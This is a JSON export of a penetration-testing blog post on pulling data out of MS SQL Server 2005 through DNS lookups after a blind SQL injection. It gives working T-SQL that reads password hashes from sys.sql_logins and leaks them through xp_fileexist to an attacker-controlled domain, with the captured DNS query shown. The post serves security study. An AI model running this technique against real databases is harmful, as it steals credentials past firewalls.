{"id":8,"date":"2007-04-08T18:59:47","date_gmt":"2007-04-08T18:59:47","guid":{"rendered":"http:\/\/pentestmonkey.net\/?p=8"},"modified":"2011-08-20T16:06:15","modified_gmt":"2011-08-20T16:06:15","slug":"mssql-dns","status":"publish","type":"post","link":"https:\/\/pentestmonkey.net\/blog\/mssql-dns","title":{"rendered":"Exfiltrating Data From MS SQL Server Via DNS"},"content":{"rendered":"<p>Exfiltrating data via <a href=\"http:\/\/www.spidynamics.com\/whitepapers\/Blind_SQLInjection.pdf\">Blind SQL Injection<\/a> vulnerabilities can be slow, or the very least undesirably noisy. DNS may provide a faster alternative if the target system is connected to the Internet.<br \/>\n<!--more--><\/p>\n<p>Below are some notes I made on exfiltrating data from MS SQL Server 2005.<\/p>\n<h2>Preamble<\/h2>\n<h3>Why Blind SQL Injection can be a Pain<\/h3>\n<p>Since the injection is blind, you don&#8217;t have the luxury of getting data out fast with a UNION SELECT, or using MS SQL server error messages.<\/p>\n<p>Depending on your definition of &#8220;Blind SQL Injection&#8221; you might be able to use differing responses from the app to extract data 1 bit at time by asking &#8220;yes or no&#8221; questions. In the worst case, you&#8217;ll have to use something like <a href=\"http:\/\/msdn2.microsoft.com\/en-us\/library\/ms187331.aspx\">WAITFOR DELAY<\/a> or <a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.0\/en\/information-functions.html#function_benchmark\">BENCHMARK<\/a> to painstakingly extract data in a bitwise fashion.<\/p>\n<p>Even with the help of automated tools, this process can be slow. Owing to the fact you normally need 1 request for each bit of data you extract, you&#8217;ll typically need hundreds or even thousands of queries. Traditional exploitation of blind SQL injection is therefore a very noisy attack.<\/p>\n<h3>Some Potential Alternatives<\/h3>\n<p>There may not be any other options open to you, but if you&#8217;re lucky there&#8217;ll be a shortcut. For example you might be able to:<\/p>\n<ul>\n<li>open a database connection from the backend database to a database you control.<\/li>\n<li>export data to a file and read the file back by some other means.<\/li>\n<li>write data of interest to another part of the database you can read (e.g. change the first line of your address to be the admin&#8217;s password hash).<\/li>\n<li>to embed the answer to your SQL queries in a DNS request.<\/li>\n<\/ul>\n<h2>Using DNS to Exfiltrate Data<\/h2>\n<p>DNS requests are arguably more likely to be allowed out from the database server to arbitrary hosts on the Internet than any other query. Even if the Firewall is doing its job properly and preventing the database server from sending data <em>directly<\/em>to the internet, a DNS request originating from the server may still be allowed out via an internal DNS server.<\/p>\n<p>Our challenge is simply to embed the result of our SQL query in the DNS request and to capture it when it makes its way onto the Internet.<\/p>\n<p>Conceptually what we&#8217;re trying to achieve with our SQL injection is something like the following:<\/p>\n<pre>   do_dns_lookup( (select top 1 password from users) + '.pentestmonkey.net' );<\/pre>\n<p>We want to use a SELECT statement to obtain the password hash we&#8217;re interested in, append a domain name which we control to the end of it (e.g. pentestmonkey.net). Finally we perform a DNS lookup (address-record lookup for a fictitious hostname). We then run a packet sniffer on the name server for our domain and wait for the DNS record containing our hash.<\/p>\n<pre>   someserver.example.com.1234 &gt; ns.pentestmonkey.net.53 A? 0x1234ABCD.pentestmonkey.net<\/pre>\n<p>The string &#8220;0x1234ABCD&#8221; here represents the password hash we hope to extract using our SELECT statement. In his recent <a href=\"http:\/\/eu.wiley.com\/WileyCDA\/WileyTitle\/productCd-0470080221.html\">book<\/a>, David Litchfield talks about how to use UTL_INADDR on Oracle to exfiltrate password hashes via DNS. The rest of this blog entry contains the notes I made while trying to apply the same technique to SQL Server 2005<\/p>\n<h2>Using DNS to Exfiltrate Data from SQL Server 2005<\/h2>\n<p>So far I&#8217;ve only figured out how to do this given database administrator level credentials. The following examples assumes you&#8217;ve already have this level of privilege (e.g. from your sql injection).<\/p>\n<p>Several stored procedures can take hostnames as arguments (usually as UNC paths). The ones I&#8217;ve looked at so far are:<\/p>\n<ul>\n<li>bulk insert mytable from &#8216;\\somehostshare$file&#8217;;<\/li>\n<li>xp_fileexist &#8216;\\somehostshare$file&#8217;;<\/li>\n<\/ul>\n<p>Both are available to database admins by default on SQL Server 2005. Note that xp_fileexist doesn&#8217;t throw an error if your privileges are too low. If you don&#8217;t have sufficient privileges, xp_fileexist always returns a &#8220;file doesn&#8217;t exist&#8221; type response without actually processing the filename.\u00a0 If you&#8217;re using SQL Server 2000 try xp_getfiledetails as this can be run by non-priv users.<\/p>\n<p>I had some problems when I tried to include variable data as part of the hostname. Concatenation and subselects seem to be disallowed in most places where you&#8217;d want it:<\/p>\n<ul>\n<li>bulk insert mytable from &#8216;\\&#8217; + &#8216;yourdatahere&#8217; + &#8216;share$file; &#8212; doesn&#8217;t work<\/li>\n<li>exec(&#8216;xp_fileexist &#8221;\\&#8217; + (select top 1 password from users) + &#8221;&#8217;share$file&#8221;&#8217;; &#8212; doesn&#8217;t work<\/li>\n<\/ul>\n<p>I was left with the following rather cumbersome example.<\/p>\n<pre>   declare @host varchar(800);<\/pre>\n<pre>  select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins;<\/pre>\n<pre>  exec('xp_fileexist ''\\' + @host + 'c$boot.ini''');<\/pre>\n<p>It works, though. Here&#8217;s the DNS query observed from the pentestmonkey.net name server:<\/p>\n<pre>   11:30:07.276608 IP 10.0.0.1.1605 &gt; 10.0.0.2.53:  3662+ A? sa-0x01004086ceb6370f972f9c9125fb8919e8078b3f3c3df37efdf0.2.pentestmonkey.net. (95)<\/pre>\n<p>Note: Failed lookups seem to get cached, so the same SQL query won&#8217;t produce the same DNS query twice. To make sure that each query is different you can use a unique ID in the hostname (e.g. the &#8220;.2.&#8221; in the example above).<\/p>\n<p>Since the hash is 52 bytes long (416-bits), this simple DNS trick just saved us 416 queries traditionally required to exfiltrate the hash using &#8220;yes or no&#8221; queries.<\/p>\n<h2>How much data can go in a DNS request?<\/h2>\n<p>This will probably depend on multiple factors such as the function to which the hostname is passed, and any length limitations imposed by nameservers which process the query before we see it.<\/p>\n<p>In the case of MS SQL Server 2005 running on Windows 2003 I noticed two limitations:<\/p>\n<p>1: No more that 63 characters are allowed for any subdomain \/ hostname section. The following is therefore the longest hostname I could form using only 2 dots:<\/p>\n<pre>   123456789012345678901234567890123456789012345678901234567890123.pentestmonkey.net<\/pre>\n<p>I was not able to add more data by using a domain name shorter than &#8220;pentestmonkey.net&#8221;.<\/p>\n<p>2: The total length of the hostname seems to be capped at 248 characters<\/p>\n<p>Some of this cannot contain useful data (i.e. a certain number of dots are required, and the domain name itself &#8220;pentestmonkey.net&#8221; does not contain any useful data). In the case of my domain, it was possible to store a maximum of 227 bytes of data in a DNS request.<\/p>\n<pre>   012345678911234567892123456789312345678941234567895123456789612. 01234567891123456789212345678931234567894123456789512345678961b. 01234567891123456789212345678931234567894123456789512345678961c. 12345678901234567890123456789012345678.pentestmonkey.com.<\/pre>\n<p>In this case, a shorter domain name DOES allow you to send more data.<\/p>\n<p>The difficulty is that very long hostnames like this one seem to need a dot every 64 characters. This is something you&#8217;d need to concern yourself with while creating the hostname string within the SQL injection.<\/p>\n<p>&nbsp;<\/p>\n<h2>Feedback<\/h2>\n<p>Please feel free to <a href=\"mailto:pentestmonkeyAATTpentestmonkey.net\">mail<\/a> me if you think any of this is in error, or if you can offer any refinements.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exfiltrating data via Blind SQL Injection vulnerabilities can be slow, or the very least undesirably noisy. DNS may provide a faster alternative if the target system is connected to the Internet.<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[5],"tags":[27,91,19,78],"_links":{"self":[{"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/posts\/8"}],"collection":[{"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/comments?post=8"}],"version-history":[{"count":2,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/posts\/8\/revisions"}],"predecessor-version":[{"id":448,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/posts\/8\/revisions\/448"}],"wp:attachment":[{"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/media?parent=8"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/categories?post=8"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/pentestmonkey.net\/wp-json\/wp\/v2\/tags?post=8"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}